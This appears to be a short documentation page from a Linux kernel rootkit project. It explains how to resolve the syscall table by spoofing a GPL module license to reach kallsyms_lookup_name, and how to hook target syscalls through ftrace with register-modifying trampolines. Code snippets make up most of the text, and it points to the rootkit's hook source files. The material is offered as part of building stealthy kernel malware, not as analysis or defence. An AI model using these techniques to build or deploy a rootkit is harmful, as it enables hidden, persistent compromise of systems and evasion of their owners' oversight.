Symbol Resolution link

1. We spoof a GPL license so the kernel exports kallsyms_lookup_name():

     MODULE_LICENSE("GPL");
     

2. At init, we call:

     sys_call_table = (void **)kallsyms_lookup_name("sys_call_table");
     

   This gives us the address of the syscall table.

Ftrace-Based Hooking link

For each target syscall:

1. Define an ftrace_ops with flags:

     .func  = hook_trampoline,
   .flags = FTRACE_OPS_FL_SAVE_REGS |
            FTRACE_OPS_FL_IPMODIFY
     

2. Apply the filter:

     ftrace_set_filter_ip(&ops, (unsigned long)orig_syscall, 0, 0);
   register_ftrace_function(&ops);
     

3. Our trampoline copies registers, calls hook_fn(), then jumps back to the original.

Always unregister your ftrace functions in cleanup_module():

  unregister_ftrace_function(&ops);
  

Code Location link

• rootkit/hook/ftrace_hooks.c
• rootkit/hook/syscall_list.h